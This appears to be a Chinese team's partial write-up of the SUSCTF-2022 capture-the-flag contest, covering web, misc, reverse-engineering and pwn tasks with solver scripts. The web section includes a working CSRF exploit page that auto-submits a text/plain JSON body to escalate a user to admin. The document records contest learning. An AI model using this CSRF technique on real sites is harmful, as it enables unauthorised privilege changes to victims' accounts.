前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >SUSCTF-2022 部分WriteUp

SUSCTF-2022 部分WriteUp

作者头像
Timeline Sec
发布2022-04-06 19:39:57
6400
发布2022-04-06 19:39:57
举报
文章被收录于专栏:Timeline SecTimeline Sec

SUSCTF

本次比赛Misc方向题目由魔法少女雪殇小夜valen全部解出。团队纳新事项已提上日程,有兴趣的师傅可以留意一下公众号文章。

Web

★fxxkcors

思路:CSRF修改用户权限

附件中的js文件内容是用puppeteer去模拟浏览器登录,然后访问我们给定的链接

题目登录后有个修改权限的功能,只要修改成normal admin就可以访问首页拿flag

默认情况下非admin登录无法修改权限

可以构造CSRF,然后通过题目提供的Admin report访问进行CSRF权限提升

构造exp时会发现,发送json格式会出现同源策略问题无法发起请求,可以通过使Content-Type: text/plain,然后body中是json数据就能绕过,具体EXP如下

代码语言:javascript
复制
<html>
<script src="https://cdn.bootcss.com/jquery/3.4.1/jquery.min.js"></script>  
<form action="http://124.71.205.122:10002/changeapi.php" method="POST" enctype="text/plain">  
<input id="sub" name='{"username":"gcker", "test":"' value='test"}'type='hidden'> 
</form>
<script>
    $("form").submit();
</script>
</html>

放vps上,然后给admin report传http://vps:port/发起csrf,修改用户为admin

非预期解法:gcker/123🙄

Misc

★签到

discord快速截图

★ra2

看地图

★Tanner

转成矩阵,图片010末尾文字,加起来sha256即可

★AUDIO

音频,两个看起来没什么区别,反正这类音频套路要么就是音频叠加,要么就是藏在某处的morse,直接ai分离人声和背景音乐

发现分离后明显有morse,直接听出来转就完了

★misound

音频明显的sstv,但是有间隔,au可以看到间隔,间隔用频谱是有文字的(图片没存,自行想象)

文字是AnEWmuLTiPLyis_etimes_wiLLbEcomE_B

意义不明

其次通过希望人没事可以获得b64数据,解码获得一串数字。

207 359 220 224 352 315 359 374 290 310 277 507 391 513 423 392 508 383 440 322 420 427 503 460 295 318 245 302 407 414 410 130 369 317

同样意义不明

接下来着手于消除噪音,这里贴一个工具

http://www.snowywar.top/?golink=aHR0cHM6Ly9naXRodWIuY29tL2NvbGFjbGFudGgvc3N0dg==

直接转换图片,会炸

把文字的频谱噪音删除后手工修补,获得高清图片

可以观察到,总共17列,11行,去除中间空白,可以分为五个一组,总共34个字母,与获得的数字相对应接下来尝试了各种转换,二进制什么一堆堆都没有结果,跟其他人一样,非预期就完事了,属实乐

代码语言:javascript
复制
import math
e = [207, 359, 220, 224, 352, 315, 359, 374, 290, 310, 277, 507, 391, 513, 423, 392, 508, 383, 440, 322, 420, 427, 503, 460, 295, 318, 245, 302, 407, 414, 410, 130, 369, 317]
a = 'AnEWmuLTiPLyis_etimes_wiLLbEcomE_B'
#b = ['01001', '11010', '00110', '11000', '00001', '10000', '10001', '01011', '01011', '01011', '01110', '00110', '00101', '10010', '00100', '10100', '11010', '10110', '11000', '00101', '11000', '01001', '10010', '01010', '01100', '11010', '10000', '10001', '00101', '00010', '11001', '01000', '01000', '00011']
e10= []
alpha = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
b = 'NQHFEAOUUUSHLMCJQRFLFNMKGQAOLDWBBI'

result = [9,26,6,]
#207*26+1/65
#101*95 = 26*369+1

for i in range(34):
  #rint(95*101/e[i])

  a1 = ord(a[i])
  #print('a:',a1)
  n = e[i]
  flag = chr(round((n * 26 + 1)/a1))
  print(flag)
'''
for i in e:
  e10.append(bin(i)[2:])

print(e10)
  '''
‍

Re

★DigitalCircuits

用pyinstxtractor 分解

将同名pyc文件改成前struct的pyc文件在线反编译得到

主要逻辑是tea加密

D是delta的二進制形式

脚本

代码语言:javascript
复制
#include <stdio.h>
#include <stdint.h>
// unsigned char ida_chars[] =
//{
// 0x88, 0x34, 0xD9, 0x48, 0x4C, 0x14, 0x0C, 0x03, 0xC2, 0x78,
//  0xEB, 0x52, 0xED, 0xE5, 0x9C, 0xED,0xE6, 0xED, 0x1F, 0xAE, 0x6D, 0x12, 0x5A, 0xBA, 0xAA, //0x84,
//  0x92, 0xCF, 0xE3, 0xF2, 0xE0, 0x65
//};
//解密函数
// void decrypt (uint32_t* v, uint32_t* k) {
//     uint32_t v0=v[0], v1=v[1], sum=0xC6EF3720, i;  /* set up */
//     uint32_t delta=0x9e3779b9;                     /* a key schedule constant */
//     uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3];   /* cache key */
//     for (i=0; i<32; i++) {                         /* basic cycle start */
//         v1 -= ((v0<<4) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3);
//         v0 -= ((v1<<4) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1);
//         sum -= delta;
//     }                                              /* end cycle */
//     v[0]=v0; v[1]=v1;
// }
void decrypt (uint32_t* v, uint32_t* k) {
    uint32_t v0=v[0], v1=v[1], sum=0x9e3779b9*32, i;  /* set up */
    uint32_t delta=0x9e3779b9;
                        /* a key schedule constant */
    uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3];/* cache key */
    for (i=0; i<32; i++) {                         /* basic cycle start */
         v1 -= ((v0<<4) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3);
        v0 -= ((v1<<4) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1);
        sum -= delta;
    }                                              /* end cycle */
    v[0]=v0; v[1]=v1;
}
int main()
{
    //unsigned char key[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
    uint32_t v[6]={0x3e8947cb,0xcc944639,0x31358388,0x3b0b6893,0xda627361,0x3b2e6427} ,k[4]={17477,0x4144,0x4245,0x4546};
    //uint32_t *k = (uint32_t*)key;
    //uint32_t *v = (uint32_t*)ida_chars;
    // v为要加密的数据是两个32位无符号整数
    // k为加密解密密钥,为4个32位无符号整数,即密钥长度为128位
    printf("\n");
    decrypt(v, k);
    decrypt(v+2, k);
     decrypt(v+4, k);
    // decrypt(v+6, k);
     //decrypt(v+8, k);
     //decrypt(v+10, k);
     //decrypt(v+12, k);
        //decrypt(v+14, k);
        //decrypt(v+16, k);
        //decrypt(v+18, k);
       // decrypt(v+20, k);
        //decrypt(v+22, k);
        //decrypt(v+24, k);
    for(int i=0;i<6;i++){
      printf("%x ",v[i]);
    }
    printf("\n");
    //for(int i=0;i<32;i++){
    //    printf("%c",ida_chars[i]);
    //}
    return 0;
}

最后再转换为字符

代码语言:javascript
复制
a=[0x58,0x42,0x76,0x66,0x61,0x45,0x64,0x51,0x76,0x62,0x63,0x72,0x78,0x50,0x42,0x68,0x38,0x41,0x4f,0x63,0x4a,0x36,0x67,0x41]
for i in range(len(a)):
     print(chr(a[i]),end='')

最后的flag

SUSCTF{XBvfaEdQvbcrxPBh8AOcJ6gA} ★hello_world

判断输入为44字节,分析case11

sub_14009cc0函数是异或处理

上面的v74与v71是是输入的加密结果和密文,3 2 就是加上2后的结果

脚本:

代码语言:javascript
复制
a= [86,218,205,58,126,134,19,181,29,157,252,151,140,49,107,201,251,26,226,45,220, 211, 241,244,54,9,32, 66,4, 106,113, 83,120, 164,151,143,122,114,57,232,61,250,64,61,408,0, 0, 0]
d=[5,143,158,121,42,192,104,129,45,252,207,164,181,85,95,228,157,35,214,29,241,231,151,145,6,36,66,113,60,88,92,48,25,198,245,188,75,66,93,218,88,155,36,64]
flag = ''
for i in range(len(d)):
    flag += chr(a[i] ^ d[i])
print(flag)

SUSCTF{40a339d4-f940-4fe0-b382-cabb310d2ead}

PWN

★kqueue's revenge

非预期解,直接搜flag就出来了...

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2022-03-03,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 Timeline Sec 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • ★misound
  • ★DigitalCircuits
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档